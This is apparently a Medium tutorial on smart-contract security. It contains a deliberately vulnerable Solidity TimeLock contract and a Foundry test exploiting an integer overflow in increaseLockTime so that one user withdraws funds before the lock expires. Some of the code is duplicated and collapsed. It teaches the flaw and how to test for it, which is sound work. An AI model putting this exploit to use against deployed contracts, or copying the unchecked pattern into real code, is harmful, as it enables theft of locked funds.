Foundry III-OverFlow

Solidity Programming Language
3 min readMay 9, 2022

Overflow.sol Thanks to Murat

// SPDX-License-Identifier: MIT

pragma solidity ^0.7.6;

import “forge-std/Test.sol”;

TimeLock

contract TimeLock {                                 
// using SafeMath for uint256; mapping(address => uint) public balances; mapping(address => uint) public lockTime;

function deposit() external payable { balances[msg.sender] += msg.value; lockTime[msg.sender] = block.timestamp + 1 weeks; }
function increaseLockTime(uint _secondsToIncrease) public { lockTime[msg.sender] += _secondsToIncrease; // vulnerable }

function withdraw() public {

require(balances[msg.sender] > 0, "Insufficient funds"); require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

uint amount = balances[msg.sender]; balances[msg.sender] = 0; (bool sent, ) = msg.sender.call{value: amount}(""); require(sent, "Failed to send Ether"); } }

ContractTest

contract ContractTest is Test { 

TimeLock public TimeLockContract;
address alice;
address bob;

function setUp() public { TimeLockContract = new TimeLock();
//alice = vm.addr(1);
alice = makeAddr("alice");
// bob = vm.addr(2);
bob = makeAddr("bob");
vm.deal(alice, 1 ether); vm.deal(bob, 1 ether); }

function testFailOverflow in ContractTest

function testFailOverflow() public {                                     // console.log("Alice balance", alice.balance);                                     emit log_named_decimal_uint("Alice balance", alice.balance, 18);                                     // console.log("Bob balance", bob.balance);                                     emit log_named_decimal_uint("Bob balance", bob.balance, 18);                                                                   console.log("Alice deposit 1 Ether...");                                     vm.prank(alice);                                     TimeLockContract.deposit{value: 1 ether}();                                     emit log_named_decimal_uint("Alice balance", alice.balance, 18);                                     // console.log("Alice balance", alice.balance); console.log("Bob deposit 1 Ether...");                                     vm.startPrank(bob);                                      TimeLockContract.deposit{value: 1 ether}();                                     emit log_named_decimal_uint("Bob balance", bob.balance, 18);                                     // console.log("Bob balance", bob.balance);                                                                                                      TimeLockContract.increaseLockTime(                                         type(uint).max + 1 - TimeLockContract.lockTime(bob)                                     );                                                                   console.log("Bob will successfully to withdraw, because the lock time is overflowed");                                     TimeLockContract.withdraw();                                     
// console.log("Bob balance", bob.balance); emit log_named_decimal_uint("Bob balance", bob.balance, 18); vm.stopPrank();
vm.prank(alice); console.log("Alice will fail to withdraw, because the lock time not expired"); TimeLockContract.withdraw();
// expect revert

forge test — contracts ./src/test/OverFlow.sol -vvvv

vm.deal(alice, 1 ether);                                        vm.deal(bob, 1 ether);
// console.log("Alice balance", alice.balance); emit log_named_decimal_uint("Alice balance", alice.balance, 18); // console.log("Bob balance", bob.balance); emit log_named_decimal_uint("Bob balance", bob.balance, 18);
console.log("Alice deposit 1 Ether...");                                     vm.prank(alice);                                     TimeLockContract.deposit{value: 1 ether}();                                     emit log_named_decimal_uint("Alice balance", alice.balance, 18);                                     // console.log("Alice balance", alice.balance);
console.log("Bob deposit 1 Ether...");                                     vm.startPrank(bob);                                      TimeLockContract.deposit{value: 1 ether}();                                     emit log_named_decimal_uint("Bob balance", bob.balance, 18);                                     // console.log("Bob balance", bob.balance);

Theory for hacking

                                   
// bob locktime = t
// x=overflow == type(uint).max + 1 // t + x = type(uint).max + 1 // x = type(uint).max + 1 - t

Now Action

TimeLockContract.increaseLockTime(                                         type(uint).max + 1 - TimeLockContract.lockTime(bob)                                     );                                                                   console.log("Bob will successfully to withdraw, because the lock time is overflowed");
TimeLockContract.withdraw();                                     
// console.log("Bob balance", bob.balance); emit log_named_decimal_uint("Bob balance", bob.balance, 18); vm.stopPrank();
vm.prank(alice);                                     console.log("Alice will fail to withdraw, because the lock time not expired");                                     TimeLockContract.withdraw();    
// expect revert

Foundry I

Foundry II

Foundry III

Foundry IV

Foundry V

Foundry VI

Associate Professor Engin YILMAZ (VeriDelisi)

Sign up to discover human stories that deepen your understanding of the world.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Solidity Programming Language
Solidity Programming Language

Written by Solidity Programming Language

Solidity basics for beginners: Learn the fundamentals of smart contract development and build your first DApp! #Solidity #Foundry #Ethereum #Opcodes #DApps

No responses yet

Write a response